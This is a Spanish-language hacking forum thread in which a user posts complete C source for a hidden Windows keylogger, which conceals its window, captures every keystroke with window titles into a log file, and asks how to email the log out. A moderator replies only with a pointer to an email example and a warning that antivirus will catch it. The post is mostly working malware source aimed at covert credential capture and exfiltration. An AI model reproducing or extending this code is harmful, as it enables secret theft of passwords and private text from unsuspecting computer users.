elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
23 Mayo 2012, 05:50  


Tema destacado:


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderadores: Karcrack, [Zero])
| | |-+  Enviar Log al Email
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Enviar Log al Email  (Leído 778 veces)
misterioy

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Enviar Log al Email
« en: 2 Octubre 2011, 01:55 »

Buenas, les cuento
Encontre un codigo de un Keylogger que al parecer anda perfecto.
Guarda el Log en un TXT. Ahora lo que necesito es que lo que haya adentro del TXT se envie a un Email. Les dejo el codigo que encontre del Keylogger.

Código:
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <time.h>

#define OK -32767

int main() {
HWND ventanaa=GetForegroundWindow();
ShowWindow(ventanaa,SW_HIDE);
FILE *log;
HWND ventana;   
time_t ltime;
int tecla=0;
int cont=0;
char TVentana[500] = "";                     
char Teclas[10240]=""; //      0  1      2          3          4  5          6  7  8              9       10
char simbol[256][15] =/*0*/  {"","","[CliC-I]","[CliC-D]","","[CliC-C]","","","[Retroceder]","[TAB]","",
/*1*/      "","","[ENTER]","","","[SHIFT]","[CONTROL]","[ALT]","","[Mayusculas]",
/*2*/      "","","","","","","[Esc]","","","",
/*3*/      ""," ","[Re-Pag]","[Av-Pag]","","[Inicio]","[Izquierda]","[Arriba]","[Derecha]","[Abajo]",
/*4*/      "","","","[PrtSc]","[Insert]","[Supr]","","0","1","2",
/*5*/      "3","4","5","6","7","8","9","","","",
/*6*/      "","","","","a","b","c","d","e","f",
/*7*/      "g","h","i","j","k","l","m","n","o","p",
/*8*/      "q","r","s","t","u","v","w","x","y","z",
/*9*/      "[WIN-I]","[WIN-D]","[D-WIN]","","","0","1","2","3",
/*10*/     "4","5","6","7","8","9","*","+"," ","-",".",
/*11*/     "/","[F1]","[F2]","[F3]","[F4]","[F5]","[F6]","[F7]","[F8]","[F9]",
/*12*/     "[F10]","[F11]","[F12]"," "," "," "," "," "," "," ",
/*13*/     " "," "," "," "," "," "," "," "," "," "," ",
/*14*/     " "," ","[Bloq Num]"," "," "," "," "," "," ",
/*15*/     " "," "," "," "," "," "," "," "," ","[Shift-I]",
/*16*/     "[Shift-D]"," "," "," "," "," "," "," "," "," ",
/*17*/     " "," "," "," "," "," "," "," "," "," ",
/*18*/     " "," "," "," "," "," "," ",",","-",".",
/*19*/     " "," "," "," "," "," "," "," "," ",
/*20*/     " "," "," "," "," "," "," "," "," "," "," ",
/*21*/     " "," "," "," "," "," "," "," ","'","\\",
/*22*/     "¡","´" };

log=fopen("log.log","a");
fprintf(log,"\n/******************************/");
fprintf(log,"\n/* [*]KeyLoGuer   */");
fprintf(log,"\n/* [*]Iniciando...OK ");
fprintf(log,"\n/******************************/");
fclose(log);

ventana=GetForegroundWindow();

while(1) {
if((GetForegroundWindow()!=ventana) || (cont==850)){
if(strlen(TVentana)>0 && strlen(Teclas)>0) {
time(&ltime);
ctime(&ltime);

log=fopen("log.log","a");
fprintf(log,"\n\n[*] Fecha: %s",ctime(&ltime));
fprintf(log,"[*] Ventana: %s ",TVentana);
fprintf(log,"\n[*] Texto: %s",Teclas);
fprintf(log,"\n ");
fprintf(log,"\n/******************************/\n");
fclose(log);

free(Teclas);
strcpy(Teclas,"");
cont = 0;
}
ventana=GetForegroundWindow();
}
else {
GetWindowText(ventana,TVentana,500);
}
for(tecla=4;tecla<256;tecla++) {
if (GetAsyncKeyState(tecla)==OK) {
strcat(Teclas,simbol[tecla]);
printf(" %s \n" ,simbol[tecla]);
cont++;
}
}
}

}

Espero que me puedan ayudar!

Gracias
En línea
skapunky
Electronik Engineer &
CoAdmin
***
Desconectado Desconectado

Mensajes: 3.424



Ver Perfil WWW
Re: Enviar Log al Email
« Respuesta #1 en: 2 Octubre 2011, 02:03 »

Aquí tienes un ejemplo en C#, simplemente toma la idea y hazlo en el proyecto que has cogido de algún sitio. Por cierto nada de eso te servirá, los antivirus te lo detectaran como el leon los ciervos.

Para coger la idea de como funciona un keylogger te va perfecto, pero si tu idea es reutilizar el codigo no te va a salir bien la idea.

Ejemplo en C#

Por otro lado, si buscas en google encontrarás ejemplo: Ejemplo busqueda
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[MOD] Enviar un email anónimo.
Dudas Generales
alejandromagno 2 609 Último mensaje 3 Abril 2004, 13:42
por alejandromagno
enviar email
PHP
BriaNUR 10 2,726 Último mensaje 8 Julio 2007, 05:43
por дٳŦ٭
Enviar SMS a través de email
Dispositivos Móviles (PDA's, Smartphones)
despistado 2 2,890 Último mensaje 1 Febrero 2011, 16:26
por despistado
enviar por correo las respuestas y nuevos temas por email.
Sugerencias y dudas sobre el Foro
RubenLL 4 1,144 Último mensaje 22 Diciembre 2011, 06:47
por Randomize
[Solucionado] Problema con enviar email « 1 2 »
PHP
TheCaster 19 1,184 Último mensaje 3 Enero 2012, 00:45
por dsalcedo
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines